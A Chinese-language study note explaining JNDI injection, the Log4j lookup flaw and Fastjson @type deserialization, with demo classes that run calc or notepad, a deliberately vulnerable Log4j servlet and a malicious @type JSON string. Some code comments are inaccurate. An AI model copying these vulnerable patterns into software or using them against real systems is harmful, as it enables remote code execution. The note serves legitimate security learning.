什么是JNDI
JNDI全称为 Java Naming and Directory Interface(Java命名和目录接口),是一组应用程序接口,为开发人员查找和访问各种资源提供了统一的通用接口,可以用来定义用户、网络、机器、对象和服务等各种资源。
JNDI支持的服务主要有:DNS、LDAP、CORBA、RMI等。
简单从安全角度来看待JNDI就是Java中的一组接口,在其所支持的服务中最常用的就是RMI和LDAP服务
RMI:远程方法调用注册表
LDAP:轻量级目录访问协议
通过这两种协议可以使目标服务器加载远程Class文件,攻击者通过构造Class文件来达到RCE的效果
在jdk中提供JDNI服务的有如下几个包
javax.naming:主要用于命名操作,它包含了命名服务的类和接口,该包定义了Context接口和InitialContext类;
javax.naming.directory:主要用于目录操作,它定义了DirContext接口和InitialDir- Context类;
javax.naming.event:在命名目录服务器中请求事件通知;
javax.naming.ldap:提供LDAP支持;
javax.naming.spi:允许动态插入不同实现,为不同命名目录服务供应商的开发人员提供开发和实现的途径,以便应用程序通过JNDI可以访问相关服务。
通过InitialContext类中的lookup()方法才能使用RMI和LDAP协议进行远程调用。
在其他组件中的包也存在引用lookup()方法的情况
比如
在RMI服务中调用了InitialContext.lookup()的类有:
org.springframework.transaction.jta.JtaTransactionManager.readObject()
com.sun.rowset.JdbcRowSetImpl.execute()
javax.management.remote.rmi.RMIConnector.connect()
org.hibernate.jmx.StatisticsService.setSessionFactoryJNDIName(String sfJNDIName)
在LDAP服务中调用了InitialContext.lookup()的类有:
InitialDirContext.lookup()
Spring LdapTemplate.lookup()
LdapTemplate.lookupContext()
简单JNDIdemo代码示例
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class jndi {
public static void main(String[] args) throws NamingException {
String uri = "rmi://127.0.0.1:1099/work";
InitialContext initialContext = new InitialContext();//得到初始目录环境的一个引用
initialContext.lookup(uri);//获取指定的远程对象
}
}
如果其中获取的远程对象可控的话,可以通过编写恶意的Class文件来使服务器来加载文件,达到命令执行的效果
如
import java.io.IOException;
public class Test {
public Test() throws IOException {
Runtime.getRuntime().exec("notepad");//调用计算器
}
}
注入工具 JNDI-Injection-Exploit
详解参考
安全技术系列之JNDI注入
Java安全之JNDI注入
想要成功利用JNDI注入,这就要观察当前服务器的JDK版本,在不同版本号中所限制的内容都不一样
Apache的一个开源项目,通过使用Log4j,我们可以控制日志信息输送的目的地是控制台、文件、GUI组件,甚至是套接口服务器、NT的事件记录器、UNIX Syslog守护进程等;我们也可以控制每一条日志的输出格式;通过定义每一条日志信息的级别,我们能够更加细致地控制日志的生成过程。最令人感兴趣的就是,这些可以通过一个配置文件来灵活地进行配置,而不需要修改应用的代码。
这里的漏洞原理是利用JNDI的服务机制从而进行远程加载文件,达到命令执行
首先log4j打印日志有四个级别:debug、info、warn、error,不管哪个方法打印日志,在正常的log处理过程中,对${这两个紧邻的字符做了检测,一旦遇到类似表达式结构的字符串就会触发替换机制。
一旦在log字符串中检测到${},就会解析其中的字符串尝试使用lookup()查询,因此只要能控制log参数内容,就有机会实现漏洞利用。
简单demo段示例:
package com.example.log4jwebdemo;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
@WebServlet("/log4j")
public class Log4jServlet extends HttpServlet {
//构造HTTP Web服务 使用带漏洞Log4j版本 实现功能
private static final Logger log= LogManager.getLogger(Log4jServlet.class);
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
String code =req.getParameter("code");
log.error("{}",code);
//1、开发源码中引用漏洞组件如log4j
//2、开发中使用组件的代码(触发漏洞代码)
//3、可控变量去传递Payload来实现攻击
//4、code接受payload要进行url编码
}
}
在前后端数据传输交互中,经常会遇到字符串(String)与json,XML等格式相互转换与解析,其中json以跨语言,跨前后端的优点在开发中被频繁使用,基本上是标准的数据交换格式。它的接口简单易用,已经被广泛使用在缓存序列化,协议交互,Web输出等各种应用场景中。FastJson是阿里巴巴的的开源库,用于对JSON格式的数据进行解析和打包。
简单demo段示例
首先定义User类
package com.Pengj;
//给fastjson数据转换测试用的
public class User {
private String name;
private Integer age;
public Integer getAge() {
return age;
}
public String getName() {
return name;
}
public void setAge(Integer age) {
this.age = age;
System.out.println(age);
}
public void setName(String name) {
this.name = name;
System.out.println(name);
}
}
调用执行命令的文件
package com.Pengj;
import java.io.IOException;
public class Run {
public Run() throws IOException {
Runtime.getRuntime().exec("calc");
}
}
json数据序列化和反序列化
package com.Pengj;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.serializer.SerializerFeature;
//使用fastjson去处理User类数据
public class FastjsonTest {
public static void main(String[] args) {
//将User进行实例化
User u = new User();
u.setAge(20);
u.setName("Pengj");
//json对象转换json数据 转换结果:{"age":20,"name":"Pengj"}
String jsonString = JSONObject.toJSONString(u);
System.out.println("这就是json格式:"+jsonString);
//引入autotype功能后的对象转为json数据 转换结果:{"@type":"com.Pengj.User","age":20,"name":"Pengj"}
String jsonString1 = JSONObject.toJSONString(u, SerializerFeature.WriteClassName);
System.out.println(jsonString1);
//下面JSON -> 对象
String test = "{\"@type\":\"com.Pengj.Run\",\"age\":20,\"name\":\"Pengj\"}";//修改包含类名信息后的json数据
//将json数据进行反序列化
JSONObject jsonObject = JSON.parseObject(test);
System.out.println(jsonObject);
}
}
在上述代码段中,使用JSONObject类中的toJSONString方法,将对象转换为json数据,并启用SerializerFeature.WriteClassName特性,将带有@type标记的类名信息也输出出来,完成对象转换为json数据的过程。
在将json数据使用JSON.parseObject方法反序列化为对象的时候,如果将类名信息修改为其他类,那么在反序列化过程中程序会尝试将@type标记的类信息反序列化到对象,从而加载@type所标记的类,然而,@type的类有可能被恶意构造,只需要合理构造一个JSON,使用@type指定一个想要的攻击类库就可以实现攻击。例如将@type指定为包含lookup()方法的库中就可以实现JNDI注入。
ParserConfig.getGlobalInstance().setAutoTypeSupport(false); //禁用autotype
ParserConfig.getGlobalInstance().setSafeMode(true); //启用autotype
以上内容仅作学习记录,如有错误或瑕疵,欢迎批评指正,感谢阅读。